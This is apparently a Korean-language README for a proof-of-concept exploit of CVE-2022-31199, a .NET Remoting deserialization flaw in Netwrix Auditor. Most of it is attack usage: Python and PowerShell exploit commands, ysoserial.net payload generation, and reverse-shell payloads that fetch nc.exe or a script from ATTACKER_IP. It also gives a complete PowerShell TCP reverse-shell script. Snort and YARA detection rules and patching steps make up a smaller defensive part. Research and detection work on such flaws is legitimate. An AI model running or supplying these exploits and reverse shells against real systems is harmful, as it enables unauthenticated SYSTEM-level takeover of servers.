
CVE-2022-31199에 대한 개념 증명 익스플로잇입니다. Netwrix Auditor의 치명적인 .NET 역직렬화 RCE 취약점입니다. Python 및 PowerShell 스크립트, ysoserial.net을 사용한 페이로드 생성, 그리고 인가된 보안 테스트를 위한 탐지 시그니처를 포함합니다.
CVE-2022-31199는 Netwrix Auditor 10.5 미만 버전에서 발견된 심각한 안전하지 않은 개체 역직렬화 취약점입니다. 이 취약점은 TCP 포트 9004에서 수신 대기하는 보안되지 않은 .NET Remoting 서비스에 존재하며, 인증되지 않은 원격 공격자가 NT AUTHORITY\SYSTEM 권한으로 임의 코드 실행을 달성할 수 있습니다.
이 취약점은 이미 다음과 같은 그룹에 의해 실제 환경에서 적극적으로 악용되었습니다:
성공적인 익스플로잇은 일반적으로 다음으로 이어집니다:
이 저장소는 CVE-2022-31199에 대한 완전한 개념 증명(POC) 익스플로잇을 포함합니다:
exploit.py - Python 기반 익스플로잇 프레임워크exploit.ps1 - PowerShell 익스플로잇 스크립트README.md - 본 문서manual-exploitation.md - 단계별 수동 익스플로잇 가이드ysoserial.net - .NET 역직렬화 페이로드 생성기
ExploitRemotingService - .NET Remoting 익스플로잇 도구
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# ysoserial.net 사용
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# 1단계: 페이로드 생성
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# 2단계: 익스플로잇 실행
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# 사용자 정의 포트
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# 사용자 정의 엔드포인트
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : 대상 IP 주소 또는 호스트명 (필수)
--port : 대상 포트 (기본값: 9004)
--endpoint : .NET Remoting 엔드포인트 이름 (기본값: UAVRServer)
--check : 취약점만 확인, 익스플로잇하지 않음
--payload : ysoserial.net에서 생성된 Base64 인코딩 페이로드
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# 간단한 명령 실행
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# 출력을 파일로 저장
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# 사용자 정의 포트
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : 대상 IP 주소 또는 호스트명 (필수)
-Port : 대상 포트 (기본값: 9004)
-Command : 대상에서 실행할 명령 (기본값: "whoami")
-CheckOnly : 취약점만 확인, 익스플로잇하지 않음
# 시스템 정보 확인
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# 연결 테스트
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# 임대 모드로 실행 (일부 보호 우회)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# 개체 참조로 실행
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
취약점은 다음에서 비롯됩니다:
1. 공격자가 TCP 포트 9004에 연결
2. .NET Remoting 서비스 식별 (UAVRServer 엔드포인트)
3. ysoserial.net을 사용하여 악성 직렬화 페이로드 생성
4. .NET Remoting 프로토콜을 통해 페이로드 전송
5. 대상이 BinaryFormatter를 사용하여 개체 역직렬화
6. 가젯 체인이 임의 코드 실행
7. 코드가 NT AUTHORITY\SYSTEM 권한으로 실행
다음 ysoserial.net 가젯이 이 취약점에 대해 작동합니다:
.NET Remoting 프로토콜 구조:
┌─────────────────────────────────────┐
│ 프리앰블 (8바이트) │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ 헤더 │
├─────────────────────────────────────┤
│ URI (UAVRServer) │
├─────────────────────────────────────┤
│ 직렬화된 개체 (BinaryFormatter) │
└─────────────────────────────────────┘
alert tcp any any -> any 9004 (
msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt";
content:"|00 01 00 00 01 00 00 00|";
depth:8;
content:"System.Runtime.Remoting";
distance:0;
sid:1000001;
rev:1;
)
# 포트 9004가 수신 중인지 확인
netstat -ano | findstr :9004
# 프로세스 식별
tasklist /FI "PID eq [PID]"
rule CVE_2022_31199_Netwrix_Exploit {
meta:
description = "CVE-2022-31199 익스플로잇 시도 탐지"
author = "보안 연구원"
date = "2024-11-17"
severity = "critical"
strings:
$header = { 00 01 00 00 01 00 00 00 }
$remoting1 = "System.Runtime.Remoting" ascii
$remoting2 = "UAVRServer" ascii
$remoting3 = "Netwrix" ascii
$serialize = "BinaryFormatter" ascii
$gadget1 = "TypeConfuseDelegate" ascii
$gadget2 = "ObjectDataProvider" ascii
condition:
$header at 0 and
($remoting1 or $remoting2 or $remoting3) and
$serialize and
any of ($gadget*)
}
Netwrix Auditor 10.5 이상으로 업데이트
네트워크 분할
모니터링
# Netwrix Auditor 버전 확인
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version
# 포트 노출 여부 확인
Test-NetConnection -ComputerName localhost -Port 9004
# 방화벽 규칙 확인
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}
중요: 이 개념 증명(POC) 익스플로잇은 다음 목적으로만 제공됩니다:
- 교육 목적
- 승인된 보안 테스트
- 취약점 연구
- 방어적 보안 운영
컴퓨터 시스템에 대한 무단 접근은 불법입니다.
이 도구를 사용함으로써 귀하는 다음에 동의합니다:
1. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템만 테스트할 것
2. 모든 관련 지역, 주 및 연방 법률을 준수할 것
3. 도구를 책임감 있고 윤리적으로 사용할 것
4. 악의적인 목적으로 사용하지 않을 것
저작자는 이 도구의 오용에 대한 책임을 지지 않습니다.
사용에 따른 모든 위험은 사용자 본인에게 있습니다.
문제나 개선 사항을 발견하셨나요? 자유롭게:
버전: 1.0
최종 업데이트: 2024년 11월 17일
유지 관리자: 보안 연구 커뮤니티
질문이나 문제가 있는 경우 공식 권고 및 문서를 참조하십시오.